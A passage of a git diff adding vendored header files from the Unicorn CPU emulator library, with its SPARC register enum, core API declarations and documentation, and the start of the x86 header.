t->tv_usec = 1000*timebuffer.millitm; + return 0; +} +#else +#include <sys/time.h> +#endif + +// unistd.h compatibility +#if defined(_MSC_VER) + +static int usleep(uint32_t usec) +{ + HANDLE timer; + LARGE_INTEGER due; + + timer = CreateWaitableTimer(NULL, TRUE, NULL); + if (!timer) + return -1; + + due.QuadPart = (-((int64_t) usec)) * 10LL; + if (!SetWaitableTimer(timer, &due, 0, NULL, NULL, 0)) { + CloseHandle(timer); + return -1; + } + WaitForSingleObject(timer, INFINITE); + CloseHandle(timer); + + return 0; +} + +#else +#include <unistd.h> +#endif + +// misc support +#if defined(_MSC_VER) +#ifdef _WIN64 +typedef signed __int64 ssize_t; +#else +typedef _W64 signed int ssize_t; +#endif + +#define va_copy(d,s) ((d) = (s)) +#define strcasecmp _stricmp +#if (_MSC_VER < MSC_VER_VS2015) +#define snprintf _snprintf +#endif +#if (_MSC_VER <= MSC_VER_VS2013) +#define strtoll _strtoi64 +#endif +#endif + + +#endif // UNICORN_PLATFORM_H diff --git a/Core/unicorn/include/unicorn/sparc.h b/Core/unicorn/include/unicorn/sparc.h new file mode 100755 index 0000000..08e0538 --- /dev/null +++ b/Core/unicorn/include/unicorn/sparc.h @@ -0,0 +1,130 @@ +/* Unicorn Emulator Engine */ +/* By Nguyen Anh Quynh <aquynh@gmail.com>, 2014-2017 */ +/* This file is released under LGPL2. + See COPYING.LGPL2 in root directory for more details +*/ + +#ifndef UNICORN_SPARC_H +#define UNICORN_SPARC_H + +#ifdef __cplusplus +extern "C" { +#endif + +// GCC SPARC toolchain has a default macro called "sparc" which breaks +// compilation +#undef sparc + +#ifdef _MSC_VER +#pragma warning(disable:4201) +#endif + +//> SPARC registers +typedef enum uc_sparc_reg { + UC_SPARC_REG_INVALID = 0, + + UC_SPARC_REG_F0, + UC_SPARC_REG_F1, + UC_SPARC_REG_F2, + UC_SPARC_REG_F3, + UC_SPARC_REG_F4, + UC_SPARC_REG_F5, + UC_SPARC_REG_F6, + UC_SPARC_REG_F7, + UC_SPARC_REG_F8, + UC_SPARC_REG_F9, + UC_SPARC_REG_F10, + UC_SPARC_REG_F11, + UC_SPARC_REG_F12, + UC_SPARC_REG_F13, + UC_SPARC_REG_F14, + UC_SPARC_REG_F15, + UC_SPARC_REG_F16, + UC_SPARC_REG_F17, + UC_SPARC_REG_F18, + UC_SPARC_REG_F19, + UC_SPARC_REG_F20, + UC_SPARC_REG_F21, + UC_SPARC_REG_F22, + UC_SPARC_REG_F23, + UC_SPARC_REG_F24, + UC_SPARC_REG_F25, + UC_SPARC_REG_F26, + UC_SPARC_REG_F27, + UC_SPARC_REG_F28, + UC_SPARC_REG_F29, + UC_SPARC_REG_F30, + UC_SPARC_REG_F31, + UC_SPARC_REG_F32, + UC_SPARC_REG_F34, + UC_SPARC_REG_F36, + UC_SPARC_REG_F38, + UC_SPARC_REG_F40, + UC_SPARC_REG_F42, + UC_SPARC_REG_F44, + UC_SPARC_REG_F46, + UC_SPARC_REG_F48, + UC_SPARC_REG_F50, + UC_SPARC_REG_F52, + UC_SPARC_REG_F54, + UC_SPARC_REG_F56, + UC_SPARC_REG_F58, + UC_SPARC_REG_F60, + UC_SPARC_REG_F62, + UC_SPARC_REG_FCC0, // Floating condition codes + UC_SPARC_REG_FCC1, + UC_SPARC_REG_FCC2, + UC_SPARC_REG_FCC3, + UC_SPARC_REG_G0, + UC_SPARC_REG_G1, + UC_SPARC_REG_G2, + UC_SPARC_REG_G3, + UC_SPARC_REG_G4, + UC_SPARC_REG_G5, + UC_SPARC_REG_G6, + UC_SPARC_REG_G7, + UC_SPARC_REG_I0, + UC_SPARC_REG_I1, + UC_SPARC_REG_I2, + UC_SPARC_REG_I3, + UC_SPARC_REG_I4, + UC_SPARC_REG_I5, + UC_SPARC_REG_FP, + UC_SPARC_REG_I7, + UC_SPARC_REG_ICC, // Integer condition codes + UC_SPARC_REG_L0, + UC_SPARC_REG_L1, + UC_SPARC_REG_L2, + UC_SPARC_REG_L3, + UC_SPARC_REG_L4, + UC_SPARC_REG_L5, + UC_SPARC_REG_L6, + UC_SPARC_REG_L7, + UC_SPARC_REG_O0, + UC_SPARC_REG_O1, + UC_SPARC_REG_O2, + UC_SPARC_REG_O3, + UC_SPARC_REG_O4, + UC_SPARC_REG_O5, + UC_SPARC_REG_SP, + UC_SPARC_REG_O7, + UC_SPARC_REG_Y, + + // special register + UC_SPARC_REG_XCC, + + // pseudo register + UC_SPARC_REG_PC, // program counter register + + UC_SPARC_REG_ENDING, // <-- mark the end of the list of registers + + // extras + UC_SPARC_REG_O6 = UC_SPARC_REG_SP, + UC_SPARC_REG_I6 = UC_SPARC_REG_FP, +} uc_sparc_reg; + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/Core/unicorn/include/unicorn/unicorn.h b/Core/unicorn/include/unicorn/unicorn.h new file mode 100755 index 0000000..ee307fa --- /dev/null +++ b/Core/unicorn/include/unicorn/unicorn.h @@ -0,0 +1,730 @@ +/* Unicorn Emulator Engine */ +/* By Nguyen Anh Quynh <aquynh@gmail.com>, 2015-2017 */ +/* This file is released under LGPL2. + See COPYING.LGPL2 in root directory for more details +*/ + +#ifndef UNICORN_ENGINE_H +#define UNICORN_ENGINE_H + +#ifdef __cplusplus +extern "C" { +#endif + +#include "platform.h" +#include <stdarg.h> + +#if defined(UNICORN_HAS_OSXKERNEL) +#include <libkern/libkern.h> +#else +#include <stdlib.h> +#include <stdio.h> +#endif + +struct uc_struct; +typedef struct uc_struct uc_engine; + +typedef size_t uc_hook; + +#include "m68k.h" +#include "x86.h" +#include "arm.h" +#include "arm64.h" +#include "mips.h" +#include "sparc.h" + +#ifdef __GNUC__ +#define DEFAULT_VISIBILITY __attribute__((visibility("default"))) +#else +#define DEFAULT_VISIBILITY +#endif + +#ifdef _MSC_VER +#pragma warning(disable:4201) +#pragma warning(disable:4100) +#ifdef UNICORN_SHARED +#define UNICORN_EXPORT __declspec(dllexport) +#else // defined(UNICORN_STATIC) +#define UNICORN_EXPORT +#endif +#else +#ifdef __GNUC__ +#define UNICORN_EXPORT __attribute__((visibility("default"))) +#else +#define UNICORN_EXPORT +#endif +#endif + +#ifdef __GNUC__ +#define UNICORN_DEPRECATED __attribute__((deprecated)) +#elif defined(_MSC_VER) +#define UNICORN_DEPRECATED __declspec(deprecated) +#else +#pragma message("WARNING: You need to implement UNICORN_DEPRECATED for this compiler") +#define UNICORN_DEPRECATED +#endif + +// Unicorn API version +#define UC_API_MAJOR 1 +#define UC_API_MINOR 0 + +// Unicorn package version +#define UC_VERSION_MAJOR UC_API_MAJOR +#define UC_VERSION_MINOR UC_API_MINOR +#define UC_VERSION_EXTRA 2 + + +/* + Macro to create combined version which can be compared to + result of uc_version() API. +*/ +#define UC_MAKE_VERSION(major, minor) ((major << 8) + minor) + +// Scales to calculate timeout on microsecond unit +// 1 second = 1000,000 microseconds +#define UC_SECOND_SCALE 1000000 +// 1 milisecond = 1000 nanoseconds +#define UC_MILISECOND_SCALE 1000 + +// Architecture type +typedef enum uc_arch { + UC_ARCH_ARM = 1, // ARM architecture (including Thumb, Thumb-2) + UC_ARCH_ARM64, // ARM-64, also called AArch64 + UC_ARCH_MIPS, // Mips architecture + UC_ARCH_X86, // X86 architecture (including x86 & x86-64) + UC_ARCH_PPC, // PowerPC architecture (currently unsupported) + UC_ARCH_SPARC, // Sparc architecture + UC_ARCH_M68K, // M68K architecture + UC_ARCH_MAX, +} uc_arch; + +// Mode type +typedef enum uc_mode { + UC_MODE_LITTLE_ENDIAN = 0, // little-endian mode (default mode) + UC_MODE_BIG_ENDIAN = 1 << 30, // big-endian mode + // arm / arm64 + UC_MODE_ARM = 0, // ARM mode + UC_MODE_THUMB = 1 << 4, // THUMB mode (including Thumb-2) + UC_MODE_MCLASS = 1 << 5, // ARM's Cortex-M series (currently unsupported) + UC_MODE_V8 = 1 << 6, // ARMv8 A32 encodings for ARM (currently unsupported) + // mips + UC_MODE_MICRO = 1 << 4, // MicroMips mode (currently unsupported) + UC_MODE_MIPS3 = 1 << 5, // Mips III ISA (currently unsupported) + UC_MODE_MIPS32R6 = 1 << 6, // Mips32r6 ISA (currently unsupported) + UC_MODE_MIPS32 = 1 << 2, // Mips32 ISA + UC_MODE_MIPS64 = 1 << 3, // Mips64 ISA + // x86 / x64 + UC_MODE_16 = 1 << 1, // 16-bit mode + UC_MODE_32 = 1 << 2, // 32-bit mode + UC_MODE_64 = 1 << 3, // 64-bit mode + // ppc + UC_MODE_PPC32 = 1 << 2, // 32-bit mode (currently unsupported) + UC_MODE_PPC64 = 1 << 3, // 64-bit mode (currently unsupported) + UC_MODE_QPX = 1 << 4, // Quad Processing eXtensions mode (currently unsupported) + // sparc + UC_MODE_SPARC32 = 1 << 2, // 32-bit mode + UC_MODE_SPARC64 = 1 << 3, // 64-bit mode + UC_MODE_V9 = 1 << 4, // SparcV9 mode (currently unsupported) + // m68k +} uc_mode; + +// All type of errors encountered by Unicorn API. +// These are values returned by uc_errno() +typedef enum uc_err { + UC_ERR_OK = 0, // No error: everything was fine + UC_ERR_NOMEM, // Out-Of-Memory error: uc_open(), uc_emulate() + UC_ERR_ARCH, // Unsupported architecture: uc_open() + UC_ERR_HANDLE, // Invalid handle + UC_ERR_MODE, // Invalid/unsupported mode: uc_open() + UC_ERR_VERSION, // Unsupported version (bindings) + UC_ERR_READ_UNMAPPED, // Quit emulation due to READ on unmapped memory: uc_emu_start() + UC_ERR_WRITE_UNMAPPED, // Quit emulation due to WRITE on unmapped memory: uc_emu_start() + UC_ERR_FETCH_UNMAPPED, // Quit emulation due to FETCH on unmapped memory: uc_emu_start() + UC_ERR_HOOK, // Invalid hook type: uc_hook_add() + UC_ERR_INSN_INVALID, // Quit emulation due to invalid instruction: uc_emu_start() + UC_ERR_MAP, // Invalid memory mapping: uc_mem_map() + UC_ERR_WRITE_PROT, // Quit emulation due to UC_MEM_WRITE_PROT violation: uc_emu_start() + UC_ERR_READ_PROT, // Quit emulation due to UC_MEM_READ_PROT violation: uc_emu_start() + UC_ERR_FETCH_PROT, // Quit emulation due to UC_MEM_FETCH_PROT violation: uc_emu_start() + UC_ERR_ARG, // Inavalid argument provided to uc_xxx function (See specific function API) + UC_ERR_READ_UNALIGNED, // Unaligned read + UC_ERR_WRITE_UNALIGNED, // Unaligned write + UC_ERR_FETCH_UNALIGNED, // Unaligned fetch + UC_ERR_HOOK_EXIST, // hook for this event already existed + UC_ERR_RESOURCE, // Insufficient resource: uc_emu_start() + UC_ERR_EXCEPTION // Unhandled CPU exception +} uc_err; + + +/* + Callback function for tracing code (UC_HOOK_CODE & UC_HOOK_BLOCK) + + @address: address where the code is being executed + @size: size of machine instruction(s) being executed, or 0 when size is unknown + @user_data: user data passed to tracing APIs. +*/ +typedef void (*uc_cb_hookcode_t)(uc_engine *uc, uint64_t address, uint32_t size, void *user_data); + +/* + Callback function for tracing interrupts (for uc_hook_intr()) + + @intno: interrupt number + @user_data: user data passed to tracing APIs. +*/ +typedef void (*uc_cb_hookintr_t)(uc_engine *uc, uint32_t intno, void *user_data); + +/* + Callback function for tracing IN instruction of X86 + + @port: port number + @size: data size (1/2/4) to be read from this port + @user_data: user data passed to tracing APIs. +*/ +typedef uint32_t (*uc_cb_insn_in_t)(uc_engine *uc, uint32_t port, int size, void *user_data); + +/* + Callback function for OUT instruction of X86 + + @port: port number + @size: data size (1/2/4) to be written to this port + @value: data value to be written to this port +*/ +typedef void (*uc_cb_insn_out_t)(uc_engine *uc, uint32_t port, int size, uint32_t value, void *user_data); + +// All type of memory accesses for UC_HOOK_MEM_* +typedef enum uc_mem_type { + UC_MEM_READ = 16, // Memory is read from + UC_MEM_WRITE, // Memory is written to + UC_MEM_FETCH, // Memory is fetched + UC_MEM_READ_UNMAPPED, // Unmapped memory is read from + UC_MEM_WRITE_UNMAPPED, // Unmapped memory is written to + UC_MEM_FETCH_UNMAPPED, // Unmapped memory is fetched + UC_MEM_WRITE_PROT, // Write to write protected, but mapped, memory + UC_MEM_READ_PROT, // Read from read protected, but mapped, memory + UC_MEM_FETCH_PROT, // Fetch from non-executable, but mapped, memory + UC_MEM_READ_AFTER, // Memory is read from (successful access) +} uc_mem_type; + +// All type of hooks for uc_hook_add() API. +typedef enum uc_hook_type { + // Hook all interrupt/syscall events + UC_HOOK_INTR = 1 << 0, + // Hook a particular instruction - only a very small subset of instructions supported here + UC_HOOK_INSN = 1 << 1, + // Hook a range of code + UC_HOOK_CODE = 1 << 2, + // Hook basic blocks + UC_HOOK_BLOCK = 1 << 3, + // Hook for memory read on unmapped memory + UC_HOOK_MEM_READ_UNMAPPED = 1 << 4, + // Hook for invalid memory write events + UC_HOOK_MEM_WRITE_UNMAPPED = 1 << 5, + // Hook for invalid memory fetch for execution events + UC_HOOK_MEM_FETCH_UNMAPPED = 1 << 6, + // Hook for memory read on read-protected memory + UC_HOOK_MEM_READ_PROT = 1 << 7, + // Hook for memory write on write-protected memory + UC_HOOK_MEM_WRITE_PROT = 1 << 8, + // Hook for memory fetch on non-executable memory + UC_HOOK_MEM_FETCH_PROT = 1 << 9, + // Hook memory read events. + UC_HOOK_MEM_READ = 1 << 10, + // Hook memory write events. + UC_HOOK_MEM_WRITE = 1 << 11, + // Hook memory fetch for execution events + UC_HOOK_MEM_FETCH = 1 << 12, + // Hook memory read events, but only successful access. + // The callback will be triggered after successful read. + UC_HOOK_MEM_READ_AFTER = 1 << 13, +} uc_hook_type; + +// Hook type for all events of unmapped memory access +#define UC_HOOK_MEM_UNMAPPED (UC_HOOK_MEM_READ_UNMAPPED + UC_HOOK_MEM_WRITE_UNMAPPED + UC_HOOK_MEM_FETCH_UNMAPPED) +// Hook type for all events of illegal protected memory access +#define UC_HOOK_MEM_PROT (UC_HOOK_MEM_READ_PROT + UC_HOOK_MEM_WRITE_PROT + UC_HOOK_MEM_FETCH_PROT) +// Hook type for all events of illegal read memory access +#define UC_HOOK_MEM_READ_INVALID (UC_HOOK_MEM_READ_PROT + UC_HOOK_MEM_READ_UNMAPPED) +// Hook type for all events of illegal write memory access +#define UC_HOOK_MEM_WRITE_INVALID (UC_HOOK_MEM_WRITE_PROT + UC_HOOK_MEM_WRITE_UNMAPPED) +// Hook type for all events of illegal fetch memory access +#define UC_HOOK_MEM_FETCH_INVALID (UC_HOOK_MEM_FETCH_PROT + UC_HOOK_MEM_FETCH_UNMAPPED) +// Hook type for all events of illegal memory access +#define UC_HOOK_MEM_INVALID (UC_HOOK_MEM_UNMAPPED + UC_HOOK_MEM_PROT) +// Hook type for all events of valid memory access +// NOTE: UC_HOOK_MEM_READ is triggered before UC_HOOK_MEM_READ_PROT and UC_HOOK_MEM_READ_UNMAPPED, so +// this hook may technically trigger on some invalid reads. +#define UC_HOOK_MEM_VALID (UC_HOOK_MEM_READ + UC_HOOK_MEM_WRITE + UC_HOOK_MEM_FETCH) + +/* + Callback function for hooking memory (READ, WRITE & FETCH) + + @type: this memory is being READ, or WRITE + @address: address where the code is being executed + @size: size of data being read or written + @value: value of data being written to memory, or irrelevant if type = READ. + @user_data: user data passed to tracing APIs +*/ +typedef void (*uc_cb_hookmem_t)(uc_engine *uc, uc_mem_type type, + uint64_t address, int size, int64_t value, void *user_data); + +/* + Callback function for handling invalid memory access events (UNMAPPED and + PROT events) + + @type: this memory is being READ, or WRITE + @address: address where the code is being executed + @size: size of data being read or written + @value: value of data being written to memory, or irrelevant if type = READ. + @user_data: user data passed to tracing APIs + + @return: return true to continue, or false to stop program (due to invalid memory). + NOTE: returning true to continue execution will only work if if the accessed + memory is made accessible with the correct permissions during the hook. + + In the event of a UC_MEM_READ_UNMAPPED or UC_MEM_WRITE_UNMAPPED callback, + the memory should be uc_mem_map()-ed with the correct permissions, and the + instruction will then read or write to the address as it was supposed to. + + In the event of a UC_MEM_FETCH_UNMAPPED callback, the memory can be mapped + in as executable, in which case execution will resume from the fetched address. + The instruction pointer may be written to in order to change where execution resumes, + but the fetch must succeed if execution is to resume. +*/ +typedef bool (*uc_cb_eventmem_t)(uc_engine *uc, uc_mem_type type, + uint64_t address, int size, int64_t value, void *user_data); + +/* + Memory region mapped by uc_mem_map() and uc_mem_map_ptr() + Retrieve the list of memory regions with uc_mem_regions() +*/ +typedef struct uc_mem_region { + uint64_t begin; // begin address of the region (inclusive) + uint64_t end; // end address of the region (inclusive) + uint32_t perms; // memory permissions of the region +} uc_mem_region; + +// All type of queries for uc_query() API. +typedef enum uc_query_type { + // Dynamically query current hardware mode. + UC_QUERY_MODE = 1, + UC_QUERY_PAGE_SIZE, + UC_QUERY_ARCH, +} uc_query_type; + +// Opaque storage for CPU context, used with uc_context_*() +struct uc_context; +typedef struct uc_context uc_context; + +/* + Return combined API version & major and minor version numbers. + + @major: major number of API version + @minor: minor number of API version + + @return hexical number as (major << 8 | minor), which encodes both + major & minor versions. + NOTE: This returned value can be compared with version number made + with macro UC_MAKE_VERSION + + For example, second API version would return 1 in @major, and 1 in @minor + The return value would be 0x0101 + + NOTE: if you only care about returned value, but not major and minor values, + set both @major & @minor arguments to NULL. +*/ +UNICORN_EXPORT +unsigned int uc_version(unsigned int *major, unsigned int *minor); + + +/* + Determine if the given architecture is supported by this library. + + @arch: architecture type (UC_ARCH_*) + + @return True if this library supports the given arch. +*/ +UNICORN_EXPORT +bool uc_arch_supported(uc_arch arch); + + +/* + Create new instance of unicorn engine. + + @arch: architecture type (UC_ARCH_*) + @mode: hardware mode. This is combined of UC_MODE_* + @uc: pointer to uc_engine, which will be updated at return time + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum + for detailed error). +*/ +UNICORN_EXPORT +uc_err uc_open(uc_arch arch, uc_mode mode, uc_engine **uc); + +/* + Close a Unicorn engine instance. + NOTE: this must be called only when there is no longer any + usage of @uc. This API releases some of @uc's cached memory, thus + any use of the Unicorn API with @uc after it has been closed may + crash your application. After this, @uc is invalid, and is no + longer usable. + + @uc: pointer to a handle returned by uc_open() + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum + for detailed error). +*/ +UNICORN_EXPORT +uc_err uc_close(uc_engine *uc); + +/* + Query internal status of engine. + + @uc: handle returned by uc_open() + @type: query type. See uc_query_type + + @result: save the internal status queried + + @return: error code of uc_err enum type (UC_ERR_*, see above) +*/ +UNICORN_EXPORT +uc_err uc_query(uc_engine *uc, uc_query_type type, size_t *result); + +/* + Report the last error number when some API function fail. + Like glibc's errno, uc_errno might not retain its old value once accessed. + + @uc: handle returned by uc_open() + + @return: error code of uc_err enum type (UC_ERR_*, see above) +*/ +UNICORN_EXPORT +uc_err uc_errno(uc_engine *uc); + +/* + Return a string describing given error code. + + @code: error code (see UC_ERR_* above) + + @return: returns a pointer to a string that describes the error code + passed in the argument @code + */ +UNICORN_EXPORT +const char *uc_strerror(uc_err code); + +/* + Write to register. + + @uc: handle returned by uc_open() + @regid: register ID that is to be modified. + @value: pointer to the value that will set to register @regid + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum + for detailed error). +*/ +UNICORN_EXPORT +uc_err uc_reg_write(uc_engine *uc, int regid, const void *value); + +/* + Read register value. + + @uc: handle returned by uc_open() + @regid: register ID that is to be retrieved. + @value: pointer to a variable storing the register value. + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum + for detailed error). +*/ +UNICORN_EXPORT +uc_err uc_reg_read(uc_engine *uc, int regid, void *value); + +/* + Write multiple register values. + + @uc: handle returned by uc_open() + @rges: array of register IDs to store + @value: pointer to array of register values + @count: length of both *regs and *vals + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum + for detailed error). +*/ +UNICORN_EXPORT +uc_err uc_reg_write_batch(uc_engine *uc, int *regs, void *const *vals, int count); + +/* + Read multiple register values. + + @uc: handle returned by uc_open() + @rges: array of register IDs to retrieve + @value: pointer to array of values to hold registers + @count: length of both *regs and *vals + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum + for detailed error). +*/ +UNICORN_EXPORT +uc_err uc_reg_read_batch(uc_engine *uc, int *regs, void **vals, int count); + +/* + Write to a range of bytes in memory. + + @uc: handle returned by uc_open() + @address: starting memory address of bytes to set. + @bytes: pointer to a variable containing data to be written to memory. + @size: size of memory to write to. + + NOTE: @bytes must be big enough to contain @size bytes. + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum + for detailed error). +*/ +UNICORN_EXPORT +uc_err uc_mem_write(uc_engine *uc, uint64_t address, const void *bytes, size_t size); + +/* + Read a range of bytes in memory. + + @uc: handle returned by uc_open() + @address: starting memory address of bytes to get. + @bytes: pointer to a variable containing data copied from memory. + @size: size of memory to read. + + NOTE: @bytes must be big enough to contain @size bytes. + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum + for detailed error). +*/ +UNICORN_EXPORT +uc_err uc_mem_read(uc_engine *uc, uint64_t address, void *bytes, size_t size); + +/* + Emulate machine code in a specific duration of time. + + @uc: handle returned by uc_open() + @begin: address where emulation starts + @until: address where emulation stops (i.e when this address is hit) + @timeout: duration to emulate the code (in microseconds). When this value is 0, + we will emulate the code in infinite time, until the code is finished. + @count: the number of instructions to be emulated. When this value is 0, + we will emulate all the code available, until the code is finished. + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum + for detailed error). +*/ +UNICORN_EXPORT +uc_err uc_emu_start(uc_engine *uc, uint64_t begin, uint64_t until, uint64_t timeout, size_t count); + +/* + Stop emulation (which was started by uc_emu_start() API. + This is typically called from callback functions registered via tracing APIs. + + @uc: handle returned by uc_open() + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum + for detailed error). +*/ +UNICORN_EXPORT +uc_err uc_emu_stop(uc_engine *uc); + +/* + Register callback for a hook event. + The callback will be run when the hook event is hit. + + @uc: handle returned by uc_open() + @hh: hook handle returned from this registration. To be used in uc_hook_del() API + @type: hook type + @callback: callback to be run when instruction is hit + @user_data: user-defined data. This will be passed to callback function in its + last argument @user_data + @begin: start address of the area where the callback is effect (inclusive) + @end: end address of the area where the callback is effect (inclusive) + NOTE 1: the callback is called only if related address is in range [@begin, @end] + NOTE 2: if @begin > @end, callback is called whenever this hook type is triggered + @...: variable arguments (depending on @type) + NOTE: if @type = UC_HOOK_INSN, this is the instruction ID (ex: UC_X86_INS_OUT) + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum + for detailed error). +*/ +UNICORN_EXPORT +uc_err uc_hook_add(uc_engine *uc, uc_hook *hh, int type, void *callback, + void *user_data, uint64_t begin, uint64_t end, ...); + +/* + Unregister (remove) a hook callback. + This API removes the hook callback registered by uc_hook_add(). + NOTE: this should be called only when you no longer want to trace. + After this, @hh is invalid, and nolonger usable. + + @uc: handle returned by uc_open() + @hh: handle returned by uc_hook_add() + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum + for detailed error). +*/ +UNICORN_EXPORT +uc_err uc_hook_del(uc_engine *uc, uc_hook hh); + +typedef enum uc_prot { + UC_PROT_NONE = 0, + UC_PROT_READ = 1, + UC_PROT_WRITE = 2, + UC_PROT_EXEC = 4, + UC_PROT_ALL = 7, +} uc_prot; + +/* + Map memory in for emulation. + This API adds a memory region that can be used by emulation. + + @uc: handle returned by uc_open() + @address: starting address of the new memory region to be mapped in. + This address must be aligned to 4KB, or this will return with UC_ERR_ARG error. + @size: size of the new memory region to be mapped in. + This size must be multiple of 4KB, or this will return with UC_ERR_ARG error. + @perms: Permissions for the newly mapped region. + This must be some combination of UC_PROT_READ | UC_PROT_WRITE | UC_PROT_EXEC, + or this will return with UC_ERR_ARG error. + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum + for detailed error). +*/ +UNICORN_EXPORT +uc_err uc_mem_map(uc_engine *uc, uint64_t address, size_t size, uint32_t perms); + +/* + Map existing host memory in for emulation. + This API adds a memory region that can be used by emulation. + + @uc: handle returned by uc_open() + @address: starting address of the new memory region to be mapped in. + This address must be aligned to 4KB, or this will return with UC_ERR_ARG error. + @size: size of the new memory region to be mapped in. + This size must be multiple of 4KB, or this will return with UC_ERR_ARG error. + @perms: Permissions for the newly mapped region. + This must be some combination of UC_PROT_READ | UC_PROT_WRITE | UC_PROT_EXEC, + or this will return with UC_ERR_ARG error. + @ptr: pointer to host memory backing the newly mapped memory. This host memory is + expected to be an equal or larger size than provided, and be mapped with at + least PROT_READ | PROT_WRITE. If it is not, the resulting behavior is undefined. + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum + for detailed error). +*/ +UNICORN_EXPORT +uc_err uc_mem_map_ptr(uc_engine *uc, uint64_t address, size_t size, uint32_t perms, void *ptr); + +/* + Unmap a region of emulation memory. + This API deletes a memory mapping from the emulation memory space. + + @uc: handle returned by uc_open() + @address: starting address of the memory region to be unmapped. + This address must be aligned to 4KB, or this will return with UC_ERR_ARG error. + @size: size of the memory region to be modified. + This size must be multiple of 4KB, or this will return with UC_ERR_ARG error. + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum + for detailed error). +*/ +UNICORN_EXPORT +uc_err uc_mem_unmap(uc_engine *uc, uint64_t address, size_t size); + +/* + Set memory permissions for emulation memory. + This API changes permissions on an existing memory region. + + @uc: handle returned by uc_open() + @address: starting address of the memory region to be modified. + This address must be aligned to 4KB, or this will return with UC_ERR_ARG error. + @size: size of the memory region to be modified. + This size must be multiple of 4KB, or this will return with UC_ERR_ARG error. + @perms: New permissions for the mapped region. + This must be some combination of UC_PROT_READ | UC_PROT_WRITE | UC_PROT_EXEC, + or this will return with UC_ERR_ARG error. + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum + for detailed error). +*/ +UNICORN_EXPORT +uc_err uc_mem_protect(uc_engine *uc, uint64_t address, size_t size, uint32_t perms); + +/* + Retrieve all memory regions mapped by uc_mem_map() and uc_mem_map_ptr() + This API allocates memory for @regions, and user must free this memory later + by free() to avoid leaking memory. + NOTE: memory regions may be splitted by uc_mem_unmap() + + @uc: handle returned by uc_open() + @regions: pointer to an array of uc_mem_region struct. This is allocated by + Unicorn, and must be freed by user later with uc_free() + @count: pointer to number of struct uc_mem_region contained in @regions + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum + for detailed error). +*/ +UNICORN_EXPORT +uc_err uc_mem_regions(uc_engine *uc, uc_mem_region **regions, uint32_t *count); + +/* + Allocate a region that can be used with uc_context_{save,restore} to perform + quick save/rollback of the CPU context, which includes registers and some + internal metadata. Contexts may not be shared across engine instances with + differing arches or modes. + + @uc: handle returned by uc_open() + @context: pointer to a uc_engine*. This will be updated with the pointer to + the new context on successful return of this function. + Later, this allocated memory must be freed with uc_free(). + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum + for detailed error). +*/ +UNICORN_EXPORT +uc_err uc_context_alloc(uc_engine *uc, uc_context **context); + +/* + Free the memory allocated by uc_context_alloc & uc_mem_regions. + + @mem: memory allocated by uc_context_alloc (returned in *context), or + by uc_mem_regions (returned in *regions) + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum + for detailed error). +*/ +UNICORN_EXPORT +uc_err uc_free(void *mem); + +/* + Save a copy of the internal CPU context. + This API should be used to efficiently make or update a saved copy of the + internal CPU state. + + @uc: handle returned by uc_open() + @context: handle returned by uc_context_alloc() + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum + for detailed error). +*/ +UNICORN_EXPORT +uc_err uc_context_save(uc_engine *uc, uc_context *context); + +/* + Restore the current CPU context from a saved copy. + This API should be used to roll the CPU context back to a previous + state saved by uc_context_save(). + + @uc: handle returned by uc_open() + @buffer: handle returned by uc_context_alloc that has been used with uc_context_save + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum + for detailed error). +*/ +UNICORN_EXPORT +uc_err uc_context_restore(uc_engine *uc, uc_context *context); + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/Core/unicorn/include/unicorn/x86.h b/Core/unicorn/include/unicorn/x86.h new file mode 100755 index 0000000..c4a9790 --- /dev/null +++ b/Core/unicorn/include/unicorn/x86.h @@ -0,0 +1,1444 @@ +/* Unicorn Emulator Engine */ +/* By Nguyen Anh Quynh <aquynh@gmail.com>, 2015-2017 */ +/* This file is released under LGPL2. + See COPYING.LGPL2 in root directory for more details +*/ + +#ifndef UNICORN_X86_H +#define UNICORN_X86_H + +#ifdef __cplusplus +extern "C" { +#endif + +#include "platform.h" + +// Memory-Management Register for instructions IDTR, GDTR, LDTR, TR. +// Borrow from SegmentCache in qemu/target-i386/cpu.h +typedef struct uc_x86_mmr { + uint16_t selector; /* not used by GDTR and IDTR */ + uint64_t base; /* handle 32 or 64 bit CPUs */ + uint32_t limit; + uint32_t flags; /* not used by GDTR and IDTR */ +} uc_x86_mmr; + +// Model-Specific Register structure, use this with UC_X86_REG_MSR (as the register ID) in +// call to uc_reg_write/uc_reg_read() to manipulate MSRs. +typedef struct uc_x86_msr { + uint32_t rid; // MSR id + uint64_t value; // MSR value +} uc_x86_msr; + +// Callback function for tracing SYSCALL/SYSENTER (for uc_hook_intr()) +// @user_data: user data passed to tracing APIs. +typedef void (*uc_cb_insn_syscall_t)(struct uc_struct *uc, void *user_data); + +//> X86 registers +typedef enum uc_x86_reg { + UC_X86_REG_INVALID = 0, + UC_X86_REG_AH, UC_X86_REG_AL, UC_X86_REG_AX, UC_X86_REG_BH, UC_X86_REG_BL, + UC_X86_REG_BP, UC_X86_REG_BPL, UC_X86_REG_BX, UC_X86_REG_CH, UC_X86_REG_CL, + UC_X86_REG_CS, UC_X86_REG_CX, UC_X86_REG_DH, UC_X86_REG_DI, UC_X86_REG_DIL, + UC_X86_REG_DL, UC_X86_REG_DS, UC_X86_REG_DX, UC_X86_REG_EAX, UC_X86_REG_EBP, + UC_X86_REG_EBX, UC_X86_REG_ECX, UC_X86_REG_EDI, UC_X86_REG_EDX, 